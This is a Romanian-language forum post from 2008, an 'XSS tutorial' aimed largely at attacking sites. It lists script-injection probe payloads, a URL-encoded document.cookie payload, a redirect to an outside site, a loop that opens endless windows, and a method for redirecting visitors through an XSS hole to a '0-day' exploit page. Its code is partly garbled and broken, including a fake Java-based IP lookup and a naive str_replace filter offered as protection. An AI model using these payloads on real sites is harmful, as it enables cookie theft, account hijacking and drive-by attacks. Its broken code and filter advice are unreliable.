FAQ Autentificare
Cautare Profil
Membri Grupuri
Mesaje private
Inregistrare
Tutorial complet despre XSS
Creaza un subiect nou   Raspunde la subiect
Pagina de start a forumului mala-skate.MyForum.ro » Tutoriale diverse » Tutorial complet despre XSS
Subiectul anterior :: Subiectul urmator  
Autor Mesaj
maladon
Administrator
Administrator
maladon

Data inscrierii: 24/Mar/2008
Mesaje: 147

 Mesaj Trimis: 26/03/2008 11:38    Titlul subiectului: Tutorial perfect despre XSS
Raspunde cu citat (quote)

Tutorial "complet" despre XSS

Introducere:
1-XSS pentru incepatori!
2-XSS-Faq,Help,Attack


1-XSS pentru incepatori
Deobicei, pentru a gasi xss pe un site, hackerii se folosesc de:
Cod:
<script>alert(/hello/)</scripr>


Sau chiar

Cod:
"><script>alert(/hello/)</script>


Dar cred ca va cenit intrebarea – Dece?

Cred ca stiti ca xss vulnerabilitatile apar din cauza filtrarii proaste a codului…


Cod:
<html>
<head>
<title>Xss Vulnerabilitate</title>
</head>
<!-- html --!><!--cel mai bine e daca folositi html--!>
.....................
<form action="" method=post>
<b>codul Dvs:</b></br></br> <input type="text" name="xss"></br></br>
<input type="submit" value="XSSvul"></br>
</form>
......................
<!—mai departe e scriptul --!>

<?

if(isset($xss))
{
....
//Daca exista xss atunci vom indeplini


echo \'$test \'; // Aici este xss pentru că filtrul e slab de tot sau in genere nu este!!!
Asa ceva se face atunci cind Dvs. va inregistrati pe un site si la urma va arata loginul.
Iar acum puteti sa va imaginati ce va fi
Cod:
<script>alert(/hello/)</script>
daca veti vedea alerta, atunci puteti face o ataca, adica sa schimbati codul in loc de <script>
Acesta este un exemplu de xss pasiv..
Iar acum veti vedea un exemplu de xss active!

}
else
{
Daca nu, iesim
exit;
}


<?


Deci sa vedem si un xss active!

Exista forumuri, chaturi, carte de oaspeti si nu va-ti gindit daca ar fi sa puneti in loc de cuvinte de exemplu:

Cod:
<script>alert(/hello/)</script>


Daca filtrul e rau, atunci noi iarasi putem scoate cookies!

Iata un exemplu de filtru:

Acum veti vedea un exemplu de filtru scris in php si care filtreaza $path iar in locul ei, poti pune oricare altul…

[PHP]<?
$message = str_replace("\\"","",$message);// filtreaza ghilimelele
$message = str_replace("\\\'","",$message);// filtreaza doar o parte a ghilimelelor
$message = str_replace("<","",$message); // filtram < ca sa nu poata deschide tagurile
$message = str_replace(">","",$message);// filtram > ca san u poata inchide tagurile
$message = str_replace("#","",$message); // Simbol tare …
$message = str_replace("/","",$message);// slash
$message = str_replace("script","",$message ); // cred ca singuri ati inteles dece…
$message = str_replace("(","",$message); // filtreaza parantezele
$message = str_replace(")","",$message); // filtreaza parantezele
$message = str_replace("%","",$message); // % se foloseste in adresele url si de aceea este primejdios
Cred ca acest script va va ajuta sa fiti mai aparati împotriva xss!
?>[/PHP]

Acum stiti cite ceva in planul securitatii contra XSS!

2-XSS-Faq,Help,Attack

De la inceput un mic faq despre XSS.

Vulnerabilitatile XSS in zilele noastre pot asigură pericole in omenirea virtuala .
Dar mai intii toate le luam de la inceput.

Deci abriviatura XSS se descifreaza ca : "Cross Site Scripting". E bine sa-l numim XSS insa nu CSS asa cum CSS a aparut mai devreme si se descifreaza ca : "Cascading Style Sheets" (se foloseste la perfecatarea unei pagine HTML).
Cross inseamna <cruce>, deaceea prima întâia litera <C> este schimbata cu <X>.

XSS este o vulnerabilitate pe un server, ce permite introducerea unui script pe pagina HTML de pe un server , ca rezultat , folosirea codului intr-o variabila cu un continut nefiltrat.
Variabila nefiltrata este o variabila inaintea ce va fi folosita in script (de ex: PHP) nu se verifica daca contine simboluri interzise ca : <>,\'," si multe altele.

Mai intii de toate continutul (insemnatatea) variabilei se transmite de la pagina HTML, incarcata in browser-ul utilizatorului (user-ului), scriptului PHP (prin operatorii POST sau GET).
Operatorul POST transmite variabilile printr-un masiv, ce nu este aratat pe adresa din browser.
Operatorul GET este identificat pe adresa browser-ului astfel :
http://www.mysite.com/smile.php?name=News&file=article&sid=256&mode=&orde=0
Deci scriptului Smile.php se transmit variabilile :$name - cu continutul "News", $file - cu continutul "article" s.m.d
Desigur e mai usor de utilizat operatorul Get, deaceea, hacker-ul salveaza pagina site-ului spart si in adresa.
Asa se sa inetializat ca majoritatea hacker-ilor folosesc XSS numai pentru capatarea cookies (cookies in majoritatea cazurilor pastreaza sesiunirile, in caz daca un hacker are cookies-urile unui alt utilizator de pe forum, asa cum pe forum absolut orice user se inregistreaza, v-a avea control asupra account-ului, clar daca parola nu este descifrata si chiar daca e asa nu e greu sa o descifrezi).
Insa bug-urile XSS nu se opresc doar aici.

Deci ce putem face noi cu ajutorul vulerabilitatilor XSS ?

1-) Scoterea nelimitatelor ferestre (exemplu mai jos), sau mesaje (metoda <confirm> sau <alert> ) ca efect oarecare procedura al utilizatorului (tastarea, intrarea pe sait). Sau chiar redirectia pe un alt server.
Incercati sa introduceti urmatorul cod (fara schimbare) intr-un sait vulnerabil:
window.location.href=\'\'http://rohack.110mb.com"
Mai intii testind pe calculatorul personal, incercati urmatorul script. Cream un fail 1.html cu un astfel de continut:
<Html>***
for(i=1;i]0;i++){open(\'1.html\',\'new\'+i);}
si deschidetil in orice browser

2-) Sa imprumutam informatia personala a user-ului. In întâiul rind aici va fi si putina descriere a cookies-ului (document.cookie),adica si imprumutarea fiind un atribut de securitate a user-ului (pe aceasta tema) . Tot in aceasta tema intra si imprumutarea informatiei despre sistema user-ului si browser-ului (obiectul navigator), IP, istoria site-urilor vazute inainte (obiectul history ca masiv; pagina prezenta history[0], precedenta history[-1], in întreg pagini history.length) si multe altele. Iata exemplu de un script ce intoarce adresa IP a user-ului in variabila IP si numele computerului in variabila host (este testata in Opera, Mozilla, Mozilla Firefox):

myAddress=java.net.InetAddress.getlocalHost();
myAddress2=java.net.InetAddress.getlocalHost();
host=myAddress.get.HostName();
ip=myAddress2.getHostAddress();

3-) Sunt extrem numeroase vulnerabilitati ale browser-urilor in care la prelucrarea unui kod cheama DOS-ul, sau permite acces la unele file-uri sau altceva neplacut user-ului. Cele mai des auzite vazute si utilizate browser-e (Internet Explorer, NetScape, Mozilla, MozillaFirefox, Opera) sunt vulnerabile. Ce sa facem cu un cod, cynd un user a intrat pe un site cu o vulnerabilitate XSS ? Introducem un exploit (Il putetzi gasi aici in thread-ul exploit-urilor cu denumirea de 0-day) in site-ul unde este vulnerabilitatea XSS astfel :
window.location.href=\'\'EXPLOIT\'\' (decin intre ghilimele in loc de cuvyntul EXPLOIT folosim adresa unde se afla exploit-ul).
Acum victima cind va intra pe pagina serverului, unde noi am insertat kodul v-a redicta pe pagina-exploit, unde v-a indeplini kodul dat. (In cazul nostru calc.exe)

Atyt... Clara ca posibilitatile XSS-ului sunt ft mari, nu le pot descrie eu singur, vulnerabilitatile sunt tot mai multe si mai multe pe timp ce trece, insa cele mai importante si mai populare vor fi pe un post aparte.


Site Dvs. are probleme cu XSS sau Cross Site Scripting? Acesta este o problema foarte frecvent intilnita la multe siteuri, inclusiv foarte vestite de injectare de cod JavaScript in pagini din surse nesigure.

Ce complicații pot aparea? De multe ori este pur si simplu inofensiv insa pot aparea si probleme serioase de gen - atac la conturi inregistrate, redirectari nedorite sau popups si altele. De obicei nu sint nereguli cind informatiile nu sint decit afisate si nu exista inregistrare de conturi sau cookies. In aceste cazuri nu prea este mare lucru rau de facut. Insa in alte cazuri problemele pot fi imprevizibile. Mad

In plus, este si o problema de prestigiu pentru un site cunoscut sa se spuna despre el ca are probleme de acest gen. Orice problema cit de mica ar necesită corectata imediat.

Problema apare din nefiltrarea parametrilor transmisi paginilor cind vine vorba de afisari in pagina. In egala masura pot fi afectate pagini ASP sau PHP sau Perl sau orice altceva. Majoritatea exemplelor gasite se refera la afisarea document.cookie...

De exemplu pentru PHP este undeva (pagina.xxx):

Cod:
<?php echo "Parametrul dvs. este: ".$_GET[\'param\']; ?>
Sau pentru ASP:

Cod:
<% Response.Write "Parametrul dvs. este:" & Request.QueryString("param") %>
Pentru acest caz in mod natural exista link-uri care apeleaza pagina cu diversi parametri. Insa acesti parametri pot fi creati astfel incit sa execute cod JavaScript ca venind din partea site-ului:

Cod:
pagina.xxx?param=1%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E
Asta pur si simplu o sa transforme pagina in:

Parametrul dvs. este:
Cod:
1<script>alert(document.cookie)</script>
Insa se pot face mult mai mult decit afisa cookie. De exemplu chema JS de pe alte servere care practic pot modifica pagina in destul de multe feluri. Acestea intervin mai ales cind codul injectat este salvat in baza de date (semnaturi, postari, comentarii, etc.), care o sa fie afisat de fiecare data cind pagina e afisata. Sau se pot modifica sau transmite cookie cu informatii despre sesiune sau informatii statistice, lucruri nedorite pe toate site-urile [ Varianta TXT ]
:-| ;-) :-D :-P
 Sus »
Vezi profilul utilizatorului Trimite mesaj privat
Afiseaza mesajele pentru a le previzualiza:   
Pagina de start a forumului mala-skate.MyForum.ro » Tutoriale diverse » Tutorial complet despre XSS
Creaza un subiect nou   Raspunde la subiect Ora este GMT + 2 ore
Pagina 1 din 1

 
Mergi direct la:  
Nu puteti crea un subiect nou in acest forum
Nu puteti raspunde in subiectele acestui forum
Nu puteti modifica mesajele proprii din acest forum
Nu puteti sterge mesajele proprii din acest forum
Nu puteti vota in chestionarele din acest forum



Powered by phpBB © 2001, 2002 phpBB Group
Fa-ti si tu propriul forum GRATUIT, pe www.myforum.ro